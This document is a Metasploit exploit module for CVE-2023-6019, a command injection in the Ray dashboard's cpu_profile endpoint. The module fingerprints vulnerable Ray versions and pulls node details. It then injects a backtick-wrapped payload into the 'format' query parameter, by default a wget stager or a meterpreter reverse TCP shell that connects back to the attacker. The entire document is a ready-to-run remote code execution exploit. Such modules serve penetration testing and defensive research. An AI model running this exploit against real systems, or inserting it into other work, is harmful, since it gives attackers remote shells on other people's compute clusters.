Ray cpu_profile command injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ray cpu_profile command injection',
        'Description' => %q{
          Ray RCE via cpu_profile command injection vulnerability.
        },
        'Author' => [
          'sierrabearchell',                      # Vulnerability discovery
          'byt3bl33d3r <[email protected]>', # Python Metasploit module
          'Takahiro Yokoyama'                     # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-6019'],
          ['URL', 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'],
        ],
        'CmdStagerFlavor' => %i[wget],
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_COMMAND' => 'WGET'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-11-15',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8265),
      ]
    )
  end

  def get_nodes
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'nodes?view=summary')
    })
    return unless res && res.code == 200

    JSON.parse(res.body)
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/version')
    })
    return Exploit::CheckCode::Unknown('Could not determine the target status') unless res && res.code == 200

    ray_version = res.get_json_document['ray_version']

    return Exploit::CheckCode::Unknown('Could not determine the target status') unless ray_version

    ray_version = Rex::Version.new(ray_version)
    return Exploit::CheckCode::Safe("Version #{ray_version} is not vulnerable") unless Rex::Version.new('2.2.0') <= ray_version && ray_version <= Rex::Version.new('2.6.3')

    @nodes = get_nodes
    return Exploit::CheckCode::Vulnerable("Exploitable: version #{ray_version} is vulnerable") unless @nodes.nil?

    Exploit::CheckCode::Appears("Version #{ray_version} appears to be vulnerable")
  end

  def exploit
    # We need to pass valid node info to /worker/cpu_profile for the server to process the request
    # First we list all nodes and grab the pid and ip of the first one (could be any)
    @nodes ||= get_nodes
    fail_with(Failure::Unknown, 'Failed to get nodes') unless @nodes
    first_node = @nodes['data']['summary'].first
    fail_with(Failure::Unknown, 'Failed to get pid') unless first_node.key?('agent') && first_node['agent'].key?('pid')
    pid = first_node['agent']['pid']
    fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip')
    ip = first_node['ip']
    print_good("Grabbed node info, pid: #{pid}, ip: #{ip}")
    case target['Type']
    when :nix_cmd
      execute_command(payload.encoded, { pid: pid, ip: ip })
    else
      execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })
    end
  end

  def execute_command(cmd, opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'worker/cpu_profile'),
      'vars_get' => {
        'pid' => opts[:pid],
        'ip' => opts[:ip],
        'duration' => 5,
        'native' => 0,
        'format' => "`#{cmd}`"
      }
    })
  end

end